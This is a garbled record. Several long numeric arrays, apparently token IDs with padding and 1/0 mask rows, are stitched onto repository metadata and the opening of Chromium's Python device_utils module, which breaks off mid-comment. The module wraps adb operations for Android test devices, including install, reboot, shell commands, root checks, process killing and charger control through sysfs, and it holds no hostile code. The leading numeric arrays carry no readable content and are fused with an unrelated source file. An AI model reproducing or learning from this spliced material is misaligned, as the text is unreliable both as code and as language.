32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 5150, 2118, 13, 2972, 1434, 13955, 2, 199, 199, 504, 1639, 14, 1208, 14, 6893, 492, 9796, 63, 6395, 465, 5501, 23815, 63, 6395, 199, 199, 24929, 25683, 275, 469, 272, 378, 26, 4018, 6671, 2977, 659, 413, 26, 4018, 52, 10138, 2977, 659, 499, 26, 4018, 55, 379, 17775, 2977, 659, 650, 26, 4018, 2719, 21050, 2977, 659, 841, 26, 4018, 22533, 2977, 659, 272, 959, 26, 4018, 22332, 300, 2977, 659, 1227, 26, 4018, 51, 24759, 358, 199, 93, 199, 24929, 25683, 63, 1217, 7184, 275, 469, 272, 378, 26, 4018, 6671, 659, 413, 26, 4018, 52, 310, 659, 499, 26, 4018, 55, 379, 659, 650, 26, 4018, 2719, 85, 659, 841, 26, 4018, 22533, 659, 272, 959, 26, 4018, 22332, 659, 1227, 26, 4018, 22546, 358, 199, 93, 199, 24929, 25683, 63, 23817, 275, 469, 272, 283, 2106, 2977, 356, 378, 12, 283, 84, 10138, 2977, 356, 413, 12, 283, 24084, 17775, 2977, 356, 499, 12, 283, 273, 21050, 2977, 356, 650, 12, 283, 25876, 2977, 356, 841, 12, 272, 283, 14997, 300, 2977, 356, 959, 12, 283, 83, 24759, 356, 1227, 199, 93, 199, 16413, 51, 275, 469, 272, 413, 26, 4018, 19825, 20527, 659, 499, 26, 4018, 27717, 26709, 659, 650, 26, 4018, 45, 1047, 659, 841, 26, 4018, 33, 28026, 659, 959, 26, 4018, 15586, 659, 1227, 26, 4018, 42, 11474, 659, 272, 1520, 26, 4018, 42, 21797, 659, 1695, 26, 4018, 21640, 833, 659, 1749, 26, 4018, 23337, 31575, 659, 1616, 26, 4018, 17584, 22459, 659, 4119, 26, 4018, 1944, 432, 976, 659, 272, 3144, 26, 4018, 872, 26381, 358, 199, 93, 199, 16413, 51, 63, 19, 275, 469, 272, 413, 26, 4018, 24418, 659, 499, 26, 4018, 29204, 659, 650, 26, 4018, 4584, 659, 841, 26, 4018, 439, 82, 659, 959, 26, 4018, 7551, 659, 1227, 26, 4018, 74, 324, 659, 272, 1520, 26, 4018, 74, 348, 659, 1695, 26, 4018, 20669, 659, 1749, 26, 4018, 4127, 659, 1616, 26, 4018, 15560, 659, 4119, 26, 4018, 30442, 659, 3144, 26, 4018, 7778, 358, 199, 93, 199, 16413, 51, 63, 19, 63, 23817, 275, 469, 272, 283, 24418, 356, 413, 12, 283, 29204, 356, 499, 12, 283, 4584, 356, 650, 12, 283, 439, 82, 356, 841, 12, 283, 7551, 356, 959, 12, 283, 74, 324, 356, 1227, 12, 283, 74, 348, 356, 1520, 12, 283, 20669, 356, 1695, 12, 272, 283, 4127, 356, 1749, 12, 283, 15560, 356, 1616, 12, 283, 30442, 356, 4119, 12, 283, 7778, 356, 3144, 199, 93, 199, 16413, 51, 63, 1282, 275, 469, 221, 327, 5794, 1561, 315, 24207, 972, 23583, 3449, 272, 413, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 19825, 8038, 272, 499, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 27717, 8038, 272, 650, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 45, 1047, 659, 272, 841, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 33, 28026, 659, 272, 959, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 15586, 659, 272, 1227, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 42, 11474, 659, 272, 1520, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 42, 21797, 659, 272, 1695, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 21640, 8038, 272, 1749, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 1513, 541, 8038, 272, 1616, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 17584, 8038, 272, 4119, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 1944, 86, 8038, 272, 3144, 26, 23815, 63, 6395, 360, 31349, 14, 5794, 297, 283, 8584, 2659, 199, 93, 199, 16413, 51, 63, 19600, 275, 469, 221, 327, 1415, 367, 1846, 1434, 6025, 701, 2005, 24847, 272, 413, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 19825, 20527, 659, 272, 499, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 27717, 26709, 659, 272, 650, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 45, 1047, 659, 272, 841, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 33, 28026, 659, 272, 959, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 15586, 659, 272, 1227, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 42, 11474, 659, 272, 1520, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 42, 21797, 659, 272, 1695, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 21640, 833, 659, 272, 1749, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 23337, 31575, 659, 272, 1616, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 17584, 22459, 659, 272, 4119, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 1944, 432, 976, 659, 272, 3144, 26, 23815, 63, 6395, 360, 4478, 14, 5794, 297, 283, 872, 26381, 358, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
afandria/sky_engine
build/android/pylib/device/device_utils.py
17
62963
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Provides a variety of device interactions based on adb. Eventually, this will be based on adb_wrapper. """ # pylint: disable=unused-argument import collections import contextlib import itertools import logging import multiprocessing import os import posixpath import re import shutil import sys import tempfile import time import zipfile import pylib.android_commands from pylib import cmd_helper from pylib import constants from pylib import device_signal from pylib.constants import keyevent from pylib.device import adb_wrapper from pylib.device import decorators from pylib.device import device_blacklist from pylib.device import device_errors from pylib.device import intent from pylib.device import logcat_monitor from pylib.device.commands import install_commands from pylib.sdk import split_select from pylib.utils import apk_helper from pylib.utils import base_error from pylib.utils import device_temp_file from pylib.utils import host_utils from pylib.utils import md5sum from pylib.utils import parallelizer from pylib.utils import timeout_retry from pylib.utils import zip_utils _DEFAULT_TIMEOUT = 30 _DEFAULT_RETRIES = 3 # A sentinel object for default values # TODO(jbudorick,perezju): revisit how default values are handled by # the timeout_retry decorators. DEFAULT = object() _CONTROL_CHARGING_COMMANDS = [ { # Nexus 4 'witness_file': '/sys/module/pm8921_charger/parameters/disabled', 'enable_command': 'echo 0 > /sys/module/pm8921_charger/parameters/disabled', 'disable_command': 'echo 1 > /sys/module/pm8921_charger/parameters/disabled', }, { # Nexus 5 # Setting the HIZ bit of the bq24192 causes the charger to actually ignore # energy coming from USB. Setting the power_supply offline just updates the # Android system to reflect that. 'witness_file': '/sys/kernel/debug/bq24192/INPUT_SRC_CONT', 'enable_command': ( 'echo 0x4A > /sys/kernel/debug/bq24192/INPUT_SRC_CONT && ' 'echo 1 > /sys/class/power_supply/usb/online'), 'disable_command': ( 'echo 0xCA > /sys/kernel/debug/bq24192/INPUT_SRC_CONT && ' 'chmod 644 /sys/class/power_supply/usb/online && ' 'echo 0 > /sys/class/power_supply/usb/online'), }, ] @decorators.WithExplicitTimeoutAndRetries( _DEFAULT_TIMEOUT, _DEFAULT_RETRIES) def GetAVDs(): """Returns a list of Android Virtual Devices. Returns: A list containing the configured AVDs. """ lines = cmd_helper.GetCmdOutput([ os.path.join(constants.ANDROID_SDK_ROOT, 'tools', 'android'), 'list', 'avd']).splitlines() avds = [] for line in lines: if 'Name:' not in line: continue key, value = (s.strip() for s in line.split(':', 1)) if key == 'Name': avds.append(value) return avds @decorators.WithExplicitTimeoutAndRetries( _DEFAULT_TIMEOUT, _DEFAULT_RETRIES) def RestartServer(): """Restarts the adb server. Raises: CommandFailedError if we fail to kill or restart the server. """ def adb_killed(): return not adb_wrapper.AdbWrapper.IsServerOnline() def adb_started(): return adb_wrapper.AdbWrapper.IsServerOnline() adb_wrapper.AdbWrapper.KillServer() if not timeout_retry.WaitFor(adb_killed, wait_period=1, max_tries=5): # TODO(perezju): raise an exception after fixng http://crbug.com/442319 logging.warning('Failed to kill adb server') adb_wrapper.AdbWrapper.StartServer() if not timeout_retry.WaitFor(adb_started, wait_period=1, max_tries=5): raise device_errors.CommandFailedError('Failed to start adb server') def _GetTimeStamp(): """Return a basic ISO 8601 time stamp with the current local time.""" return time.strftime('%Y%m%dT%H%M%S', time.localtime()) def _JoinLines(lines): # makes sure that the last line is also terminated, and is more memory # efficient than first appending an end-line to each line and then joining # all of them together. return ''.join(s for line in lines for s in (line, '\n')) class DeviceUtils(object): _MAX_ADB_COMMAND_LENGTH = 512 _MAX_ADB_OUTPUT_LENGTH = 32768 _LAUNCHER_FOCUSED_RE = re.compile( '\s*mCurrentFocus.*(Launcher|launcher).*') _VALID_SHELL_VARIABLE = re.compile('^[a-zA-Z_][a-zA-Z0-9_]*$') # Property in /data/local.prop that controls Java assertions. JAVA_ASSERT_PROPERTY = 'dalvik.vm.enableassertions' def __init__(self, device, default_timeout=_DEFAULT_TIMEOUT, default_retries=_DEFAULT_RETRIES): """DeviceUtils constructor. Args: device: Either a device serial, an existing AdbWrapper instance, or an an existing AndroidCommands instance. default_timeout: An integer containing the default number of seconds to wait for an operation to complete if no explicit value is provided. default_retries: An integer containing the default number or times an operation should be retried on failure if no explicit value is provided. """ self.adb = None self.old_interface = None if isinstance(device, basestring): self.adb = adb_wrapper.AdbWrapper(device) self.old_interface = pylib.android_commands.AndroidCommands(device) elif isinstance(device, adb_wrapper.AdbWrapper): self.adb = device self.old_interface = pylib.android_commands.AndroidCommands(str(device)) elif isinstance(device, pylib.android_commands.AndroidCommands): self.adb = adb_wrapper.AdbWrapper(device.GetDevice()) self.old_interface = device else: raise ValueError('Unsupported device value: %r' % device) self._commands_installed = None self._default_timeout = default_timeout self._default_retries = default_retries self._cache = {} self._client_caches = {} assert hasattr(self, decorators.DEFAULT_TIMEOUT_ATTR) assert hasattr(self, decorators.DEFAULT_RETRIES_ATTR) def __eq__(self, other): """Checks whether |other| refers to the same device as |self|. Args: other: The object to compare to. This can be a basestring, an instance of adb_wrapper.AdbWrapper, or an instance of DeviceUtils. Returns: Whether |other| refers to the same device as |self|. """ return self.adb.GetDeviceSerial() == str(other) def __lt__(self, other): """Compares two instances of DeviceUtils. This merely compares their serial numbers. Args: other: The instance of DeviceUtils to compare to. Returns: Whether |self| is less than |other|. """ return self.adb.GetDeviceSerial() < other.adb.GetDeviceSerial() def __str__(self): """Returns the device serial.""" return self.adb.GetDeviceSerial() @decorators.WithTimeoutAndRetriesFromInstance() def IsOnline(self, timeout=None, retries=None): """Checks whether the device is online. Args: timeout: timeout in seconds retries: number of retries Returns: True if the device is online, False otherwise. Raises: CommandTimeoutError on timeout. """ try: return self.adb.GetState() == 'device' except base_error.BaseError as exc: logging.info('Failed to get state: %s', exc) return False @decorators.WithTimeoutAndRetriesFromInstance() def HasRoot(self, timeout=None, retries=None): """Checks whether or not adbd has root privileges. Args: timeout: timeout in seconds retries: number of retries Returns: True if adbd has root privileges, False otherwise. Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ try: self.RunShellCommand('ls /root', check_return=True) return True except device_errors.AdbCommandFailedError: return False def NeedsSU(self, timeout=DEFAULT, retries=DEFAULT): """Checks whether 'su' is needed to access protected resources. Args: timeout: timeout in seconds retries: number of retries Returns: True if 'su' is available on the device and is needed to to access protected resources; False otherwise if either 'su' is not available (e.g. because the device has a user build), or not needed (because adbd already has root privileges). Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ if 'needs_su' not in self._cache: try: self.RunShellCommand( 'su -c ls /root && ! ls /root', check_return=True, timeout=self._default_timeout if timeout is DEFAULT else timeout, retries=self._default_retries if retries is DEFAULT else retries) self._cache['needs_su'] = True except device_errors.AdbCommandFailedError: self._cache['needs_su'] = False return self._cache['needs_su'] @decorators.WithTimeoutAndRetriesFromInstance() def EnableRoot(self, timeout=None, retries=None): """Restarts adbd with root privileges. Args: timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if root could not be enabled. CommandTimeoutError on timeout. """ if self.IsUserBuild(): raise device_errors.CommandFailedError( 'Cannot enable root in user builds.', str(self)) if 'needs_su' in self._cache: del self._cache['needs_su'] self.adb.Root() self.WaitUntilFullyBooted() @decorators.WithTimeoutAndRetriesFromInstance() def IsUserBuild(self, timeout=None, retries=None): """Checks whether or not the device is running a user build. Args: timeout: timeout in seconds retries: number of retries Returns: True if the device is running a user build, False otherwise (i.e. if it's running a userdebug build). Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ return self.build_type == 'user' @decorators.WithTimeoutAndRetriesFromInstance() def GetExternalStoragePath(self, timeout=None, retries=None): """Get the device's path to its SD card. Args: timeout: timeout in seconds retries: number of retries Returns: The device's path to its SD card. Raises: CommandFailedError if the external storage path could not be determined. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ if 'external_storage' in self._cache: return self._cache['external_storage'] value = self.RunShellCommand('echo $EXTERNAL_STORAGE', single_line=True, check_return=True) if not value: raise device_errors.CommandFailedError('$EXTERNAL_STORAGE is not set', str(self)) self._cache['external_storage'] = value return value @decorators.WithTimeoutAndRetriesFromInstance() def GetApplicationPaths(self, package, timeout=None, retries=None): """Get the paths of the installed apks on the device for the given package. Args: package: Name of the package. Returns: List of paths to the apks on the device for the given package. """ # 'pm path' is liable to incorrectly exit with a nonzero number starting # in Lollipop. # TODO(jbudorick): Check if this is fixed as new Android versions are # released to put an upper bound on this. should_check_return = (self.build_version_sdk < constants.ANDROID_SDK_VERSION_CODES.LOLLIPOP) output = self.RunShellCommand( ['pm', 'path', package], check_return=should_check_return) apks = [] for line in output: if not line.startswith('package:'): raise device_errors.CommandFailedError( 'pm path returned: %r' % '\n'.join(output), str(self)) apks.append(line[len('package:'):]) return apks @decorators.WithTimeoutAndRetriesFromInstance() def GetApplicationDataDirectory(self, package, timeout=None, retries=None): """Get the data directory on the device for the given package. Args: package: Name of the package. Returns: The package's data directory, or None if the package doesn't exist on the device. """ try: output = self._RunPipedShellCommand( 'pm dump %s | grep dataDir=' % cmd_helper.SingleQuote(package)) for line in output: _, _, dataDir = line.partition('dataDir=') if dataDir: return dataDir except device_errors.CommandFailedError: logging.exception('Could not find data directory for %s', package) return None @decorators.WithTimeoutAndRetriesFromInstance() def WaitUntilFullyBooted(self, wifi=False, timeout=None, retries=None): """Wait for the device to fully boot. This means waiting for the device to boot, the package manager to be available, and the SD card to be ready. It can optionally mean waiting for wifi to come up, too. Args: wifi: A boolean indicating if we should wait for wifi to come up or not. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError on failure. CommandTimeoutError if one of the component waits times out. DeviceUnreachableError if the device becomes unresponsive. """ def sd_card_ready(): try: self.RunShellCommand(['test', '-d', self.GetExternalStoragePath()], check_return=True) return True except device_errors.AdbCommandFailedError: return False def pm_ready(): try: return self.GetApplicationPaths('android') except device_errors.CommandFailedError: return False def boot_completed(): return self.GetProp('sys.boot_completed') == '1' def wifi_enabled(): return 'Wi-Fi is enabled' in self.RunShellCommand(['dumpsys', 'wifi'], check_return=False) self.adb.WaitForDevice() timeout_retry.WaitFor(sd_card_ready) timeout_retry.WaitFor(pm_ready) timeout_retry.WaitFor(boot_completed) if wifi: timeout_retry.WaitFor(wifi_enabled) REBOOT_DEFAULT_TIMEOUT = 10 * _DEFAULT_TIMEOUT REBOOT_DEFAULT_RETRIES = _DEFAULT_RETRIES @decorators.WithTimeoutAndRetriesDefaults( REBOOT_DEFAULT_TIMEOUT, REBOOT_DEFAULT_RETRIES) def Reboot(self, block=True, wifi=False, timeout=None, retries=None): """Reboot the device. Args: block: A boolean indicating if we should wait for the reboot to complete. wifi: A boolean indicating if we should wait for wifi to be enabled after the reboot. The option has no effect unless |block| is also True. timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ def device_offline(): return not self.IsOnline() self.adb.Reboot() self._ClearCache() timeout_retry.WaitFor(device_offline, wait_period=1) if block: self.WaitUntilFullyBooted(wifi=wifi) INSTALL_DEFAULT_TIMEOUT = 4 * _DEFAULT_TIMEOUT INSTALL_DEFAULT_RETRIES = _DEFAULT_RETRIES @decorators.WithTimeoutAndRetriesDefaults( INSTALL_DEFAULT_TIMEOUT, INSTALL_DEFAULT_RETRIES) def Install(self, apk_path, reinstall=False, timeout=None, retries=None): """Install an APK. Noop if an identical APK is already installed. Args: apk_path: A string containing the path to the APK to install. reinstall: A boolean indicating if we should keep any existing app data. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if the installation fails. CommandTimeoutError if the installation times out. DeviceUnreachableError on missing device. """ package_name = apk_helper.GetPackageName(apk_path) device_paths = self.GetApplicationPaths(package_name) if device_paths: if len(device_paths) > 1: logging.warning( 'Installing single APK (%s) when split APKs (%s) are currently ' 'installed.', apk_path, ' '.join(device_paths)) (files_to_push, _) = self._GetChangedAndStaleFiles( apk_path, device_paths[0]) should_install = bool(files_to_push) if should_install and not reinstall: self.adb.Uninstall(package_name) else: should_install = True if should_install: self.adb.Install(apk_path, reinstall=reinstall) @decorators.WithTimeoutAndRetriesDefaults( INSTALL_DEFAULT_TIMEOUT, INSTALL_DEFAULT_RETRIES) def InstallSplitApk(self, base_apk, split_apks, reinstall=False, timeout=None, retries=None): """Install a split APK. Noop if all of the APK splits are already installed. Args: base_apk: A string of the path to the base APK. split_apks: A list of strings of paths of all of the APK splits. reinstall: A boolean indicating if we should keep any existing app data. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if the installation fails. CommandTimeoutError if the installation times out. DeviceUnreachableError on missing device. DeviceVersionError if device SDK is less than Android L. """ self._CheckSdkLevel(constants.ANDROID_SDK_VERSION_CODES.LOLLIPOP) all_apks = [base_apk] + split_select.SelectSplits( self, base_apk, split_apks) package_name = apk_helper.GetPackageName(base_apk) device_apk_paths = self.GetApplicationPaths(package_name) if device_apk_paths: partial_install_package = package_name device_checksums = md5sum.CalculateDeviceMd5Sums(device_apk_paths, self) host_checksums = md5sum.CalculateHostMd5Sums(all_apks) apks_to_install = [k for (k, v) in host_checksums.iteritems() if v not in device_checksums.values()] if apks_to_install and not reinstall: self.adb.Uninstall(package_name) partial_install_package = None apks_to_install = all_apks else: partial_install_package = None apks_to_install = all_apks if apks_to_install: self.adb.InstallMultiple( apks_to_install, partial=partial_install_package, reinstall=reinstall) def _CheckSdkLevel(self, required_sdk_level): """Raises an exception if the device does not have the required SDK level. """ if self.build_version_sdk < required_sdk_level: raise device_errors.DeviceVersionError( ('Requires SDK level %s, device is SDK level %s' % (required_sdk_level, self.build_version_sdk)), device_serial=self.adb.GetDeviceSerial()) @decorators.WithTimeoutAndRetriesFromInstance() def RunShellCommand(self, cmd, check_return=False, cwd=None, env=None, as_root=False, single_line=False, large_output=False, timeout=None, retries=None): """Run an ADB shell command. The command to run |cmd| should be a sequence of program arguments or else a single string. When |cmd| is a sequence, it is assumed to contain the name of the command to run followed by its arguments. In this case, arguments are passed to the command exactly as given, without any further processing by the shell. This allows to easily pass arguments containing spaces or special characters without having to worry about getting quoting right. Whenever possible, it is recomended to pass |cmd| as a sequence. When |cmd| is given as a string, it will be interpreted and run by the shell on the device. This behaviour is consistent with that of command runners in cmd_helper as well as Python's own subprocess.Popen. TODO(perezju) Change the default of |check_return| to True when callers have switched to the new behaviour. Args: cmd: A string with the full command to run on the device, or a sequence containing the command and its arguments. check_return: A boolean indicating whether or not the return code should be checked. cwd: The device directory in which the command should be run. env: The environment variables with which the command should be run. as_root: A boolean indicating whether the shell command should be run with root privileges. single_line: A boolean indicating if only a single line of output is expected. large_output: Uses a work-around for large shell command output. Without this large output will be truncated. timeout: timeout in seconds retries: number of retries Returns: If single_line is False, the output of the command as a list of lines, otherwise, a string with the unique line of output emmited by the command (with the optional newline at the end stripped). Raises: AdbCommandFailedError if check_return is True and the exit code of the command run on the device is non-zero. CommandFailedError if single_line is True but the output contains two or more lines. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ def env_quote(key, value): if not DeviceUtils._VALID_SHELL_VARIABLE.match(key): raise KeyError('Invalid shell variable name %r' % key) # using double quotes here to allow interpolation of shell variables return '%s=%s' % (key, cmd_helper.DoubleQuote(value)) def run(cmd): return self.adb.Shell(cmd) def handle_check_return(cmd): try: return run(cmd) except device_errors.AdbCommandFailedError as exc: if check_return: raise else: return exc.output def handle_large_command(cmd): if len(cmd) < self._MAX_ADB_COMMAND_LENGTH: return handle_check_return(cmd) else: with device_temp_file.DeviceTempFile(self.adb, suffix='.sh') as script: self._WriteFileWithPush(script.name, cmd) logging.info('Large shell command will be run from file: %s ...', cmd[:100]) return handle_check_return('sh %s' % script.name_quoted) def handle_large_output(cmd, large_output_mode): if large_output_mode: with device_temp_file.DeviceTempFile(self.adb) as large_output_file: cmd = '%s > %s' % (cmd, large_output_file.name) logging.debug('Large output mode enabled. Will write output to ' 'device and read results from file.') handle_large_command(cmd) return self.ReadFile(large_output_file.name, force_pull=True) else: try: return handle_large_command(cmd) except device_errors.AdbCommandFailedError as exc: if exc.status is None: logging.exception('No output found for %s', cmd) logging.warning('Attempting to run in large_output mode.') logging.warning('Use RunShellCommand(..., large_output=True) for ' 'shell commands that expect a lot of output.') return handle_large_output(cmd, True) else: raise if not isinstance(cmd, basestring): cmd = ' '.join(cmd_helper.SingleQuote(s) for s in cmd) if env: env = ' '.join(env_quote(k, v) for k, v in env.iteritems()) cmd = '%s %s' % (env, cmd) if cwd: cmd = 'cd %s && %s' % (cmd_helper.SingleQuote(cwd), cmd) if as_root and self.NeedsSU(): # "su -c sh -c" allows using shell features in |cmd| cmd = 'su -c sh -c %s' % cmd_helper.SingleQuote(cmd) output = handle_large_output(cmd, large_output).splitlines() if single_line: if not output: return '' elif len(output) == 1: return output[0] else: msg = 'one line of output was expected, but got: %s' raise device_errors.CommandFailedError(msg % output, str(self)) else: return output def _RunPipedShellCommand(self, script, **kwargs): PIPESTATUS_LEADER = 'PIPESTATUS: ' script += '; echo "%s${PIPESTATUS[@]}"' % PIPESTATUS_LEADER kwargs['check_return'] = True output = self.RunShellCommand(script, **kwargs) pipestatus_line = output[-1] if not pipestatus_line.startswith(PIPESTATUS_LEADER): logging.error('Pipe exit statuses of shell script missing.') raise device_errors.AdbShellCommandFailedError( script, output, status=None, device_serial=self.adb.GetDeviceSerial()) output = output[:-1] statuses = [ int(s) for s in pipestatus_line[len(PIPESTATUS_LEADER):].split()] if any(statuses): raise device_errors.AdbShellCommandFailedError( script, output, status=statuses, device_serial=self.adb.GetDeviceSerial()) return output @decorators.WithTimeoutAndRetriesFromInstance() def KillAll(self, process_name, signum=device_signal.SIGKILL, as_root=False, blocking=False, quiet=False, timeout=None, retries=None): """Kill all processes with the given name on the device. Args: process_name: A string containing the name of the process to kill. signum: An integer containing the signal number to send to kill. Defaults to SIGKILL (9). as_root: A boolean indicating whether the kill should be executed with root privileges. blocking: A boolean indicating whether we should wait until all processes with the given |process_name| are dead. quiet: A boolean indicating whether to ignore the fact that no processes to kill were found. timeout: timeout in seconds retries: number of retries Returns: The number of processes attempted to kill. Raises: CommandFailedError if no process was killed and |quiet| is False. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ pids = self.GetPids(process_name) if not pids: if quiet: return 0 else: raise device_errors.CommandFailedError( 'No process "%s"' % process_name, str(self)) cmd = ['kill', '-%d' % signum] + pids.values() self.RunShellCommand(cmd, as_root=as_root, check_return=True) if blocking: # TODO(perezu): use timeout_retry.WaitFor wait_period = 0.1 while self.GetPids(process_name): time.sleep(wait_period) return len(pids) @decorators.WithTimeoutAndRetriesFromInstance() def StartActivity(self, intent_obj, blocking=False, trace_file_name=None, force_stop=False, timeout=None, retries=None): """Start package's activity on the device. Args: intent_obj: An Intent object to send. blocking: A boolean indicating whether we should wait for the activity to finish launching. trace_file_name: If present, a string that both indicates that we want to profile the activity and contains the path to which the trace should be saved. force_stop: A boolean indicating whether we should stop the activity before starting it. timeout: timeout in seconds retries: number of retries Raises: CommandFailedError if the activity could not be started. CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ cmd = ['am', 'start'] if blocking: cmd.append('-W') if trace_file_name: cmd.extend(['--start-profiler', trace_file_name]) if force_stop: cmd.append('-S') cmd.extend(intent_obj.am_args) for line in self.RunShellCommand(cmd, check_return=True): if line.startswith('Error:'): raise device_errors.CommandFailedError(line, str(self)) @decorators.WithTimeoutAndRetriesFromInstance() def StartInstrumentation(self, component, finish=True, raw=False, extras=None, timeout=None, retries=None): if extras is None: extras = {} cmd = ['am', 'instrument'] if finish: cmd.append('-w') if raw: cmd.append('-r') for k, v in extras.iteritems(): cmd.extend(['-e', str(k), str(v)]) cmd.append(component) return self.RunShellCommand(cmd, check_return=True, large_output=True) @decorators.WithTimeoutAndRetriesFromInstance() def BroadcastIntent(self, intent_obj, timeout=None, retries=None): """Send a broadcast intent. Args: intent: An Intent to broadcast. timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ cmd = ['am', 'broadcast'] + intent_obj.am_args self.RunShellCommand(cmd, check_return=True) @decorators.WithTimeoutAndRetriesFromInstance() def GoHome(self, timeout=None, retries=None): """Return to the home screen and obtain launcher focus. This command launches the home screen and attempts to obtain launcher focus until the timeout is reached. Args: timeout: timeout in seconds retries: number of retries Raises: CommandTimeoutError on timeout. DeviceUnreachableError on missing device. """ def is_launcher_focused(): output = self.RunShellCommand(['dumpsys', 'window', 'windows'], check_return=True, large_output=True) return any(self._LAUNCHER_FOCUSED_RE.match(l) for l in output) def dismiss_popups(): # There is a dialog 